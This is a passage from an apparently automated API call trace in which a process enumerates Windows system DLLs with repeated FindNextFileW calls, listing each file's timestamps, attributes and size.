nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, 